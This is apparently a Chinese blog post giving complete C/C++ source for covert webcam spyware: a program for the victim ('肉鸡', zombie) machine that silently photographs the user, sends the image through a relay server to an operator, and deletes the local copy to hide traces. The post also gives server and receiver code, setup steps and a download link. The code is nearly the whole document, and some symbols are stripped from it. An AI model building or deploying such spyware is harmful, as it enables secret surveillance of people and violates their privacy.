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肉鸡程序启动后可打开摄像头迅速拍摄一张照片#xff0c;通过服务器发送到主机#xff0c;发送完成后删除肉鸡本地保存的图片
相关技术
socket网络编程文件操作opencv
代码
肉鸡
#define _WINSOCKAPI_
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DE…主要功能
肉鸡程序启动后可打开摄像头迅速拍摄一张照片通过服务器发送到主机发送完成后删除肉鸡本地保存的图片
相关技术
socket网络编程文件操作opencv
代码
肉鸡
#define _WINSOCKAPI_
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include Windows.h
#include Winsock2.h
#include stdio.h
#include stdlib.h
#include string.h
#include iostream
#include tlhelp32.h
#include opencv2/opencv.hpp
#pragma comment(lib,Ws2_32.lib)using namespace std;
using namespace cv;SOCKET inter();
void GetPhoto();
void SendPhoto(SOCKET sockid);void inter(SOCKET *sockid)
{WSADATA wsd;if (WSAStartup(MAKEWORD(2, 2), wsd) ! 0){printf(WSAStartup\n);system(pause);exit(0);}SOCKADDR_IN addr;addr.sin_family AF_INET;addr.sin_port htons(5188);addr.sin_addr.S_un.S_addr inet_addr(******);//服务器ip*sockid socket(AF_INET, SOCK_STREAM, 0);if (connect(*sockid, (SOCKADDR *)addr, sizeof(addr)) ! 0){printf(connect\n);system(pause);exit(0);}
}void GetPhoto()
{VideoCapture capture(0);int delay 1000 / 30;string a[] { photo.jpg};Mat frame;capture frame;imshow(show, frame);Sleep(5);imwrite(a[0], frame);
}void SendPhoto(SOCKET sockid)
{GetPhoto();char buffer[4096] {0};FILE *fp fopen(photo.jpg, rb);while (!feof(fp)){int len fread(buffer, 1, sizeof(buffer), fp);if (len ! send(sockid, buffer, len,0)){printf(write.\n);break;}memset(buffer, 0, sizeof(buffer));}fclose(fp);char path[MAX_PATH];GetCurrentDirectory(MAX_PATH, path);strcat(path, \\photo.jpg);remove(path);
}int main()
{SOCKET sockid;inter(sockid); //连接服务器GetPhoto(); //获取图片SendPhoto(sockid); //发送图片closesocket(sockid);return 0;
}主机
#define _WINSOCKAPI_
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include Windows.h
#include Winsock2.h
#include stdio.h
#include stdlib.h
#include string.h#pragma comment(lib,Ws2_32.lib)SOCKET inter()
{WSADATA wsd;if (WSAStartup(MAKEWORD(2, 2), wsd) ! 0){printf(WSAStartup\n);system(pause);exit(0);}SOCKADDR_IN addr;addr.sin_family AF_INET;addr.sin_port htons(5188);addr.sin_addr.S_un.S_addr inet_addr(****);//服务器ipSOCKET sockid socket(AF_INET, SOCK_STREAM, 0);if (connect(sockid, (SOCKADDR *)addr, sizeof(addr)) ! 0){printf(connect\n);system(pause);exit(0);}return sockid;
}void RecvPhoto(SOCKET sockid)
{FILE *fp fopen(photo.jpg, wb);char buffer[4096] { 0 };while (1) {int n recv(sockid, buffer, 4096,0);if (n 0)break;fwrite(buffer, 1, n, fp);fseek(fp, 0, SEEK_END);}fclose(fp);
}int main()
{SOCKET sockid inter();RecvPhoto(sockid);return 0;
}服务器
#include stdio.h
#include stdlib.h
#include time.h
#include fcntl.h
#include sys/select.h
#include string.h
#include unistd.h
#include malloc.h
#include sys/types.h
#include sys/socket.h
#include netinet/in.h
#include arpa/inet.h#define clientA 0
#define clientB 1
#define max_client 2typedef struct clientNew
{char *addr;int sockid;uint16_t port;
}client_new;void client_new_init(client_new c_new[])
{int i0;for(;imax_client;i){c_new[i].addrNULL;c_new[i].sockid0;c_new[i].port0;}
}int internet(client_new c_new[])
{int R_sockid0,H_sockid0;int flag1;int size0;struct sockaddr_in sockaddr;sockaddr.sin_familyAF_INET;sockaddr.sin_porthtons(5188);sockaddr.sin_addr.s_addrhtonl(INADDR_ANY);int sockidsocket(AF_INET,SOCK_STREAM,0);const int on1;if(setsockopt(sockid,SOL_SOCKET,SO_REUSEADDR,on,sizeof(on))0){printf(setsockopt\n);return 0;}if(bind(sockid,(struct sockaddr *)sockaddr,sizeof(sockaddr))0){printf(bind\n);return 0;}if(listen(sockid,SOMAXCONN)0){printf(listen\n);return 0;}struct sockaddr_in other_sock_addr;socklen_t other_sock_addr_lensizeof(other_sock_addr);int ret0,j0,i0;char receive[10]{0};while(j!max_client){int sockid_clientaccept(sockid,(struct sockaddr *)other_sock_addr,other_sock_addr_len);c_new[j].sockid sockid_client;c_new[j].addrinet_ntoa(other_sock_addr.sin_addr);c_new[j].portntohs(other_sock_addr.sin_port);printf(ip%s,port%d 已连接\n,c_new[j].addr,c_new[j].port);j;}R_sockidc_new[1].sockid;H_sockidc_new[0].sockid;char buffer[4096]{0};while(1){int n read(R_sockid, buffer, 4096); if(n 0)break;write(H_sockid,buffer,n);memset(buffer,0,sizeof(buffer));}
}
int main()
{client_new c_new[max_client];client_new_init(c_new);internet(c_new);return 0;
}
注
先启动服务器程序再启动主机程序最后启动肉鸡程序。本程序在32位机可能无法启动不铁的朋友不要冒犯缺失某些文件可点此处下载 https://pan.baidu.com/s/1d5ACcgl0-SBRCwIqjFJySw 提取码a9k9 4.服务器程序是在阿里云服务器跑的如果没有公网ip仅在局域网下是达不到效果的
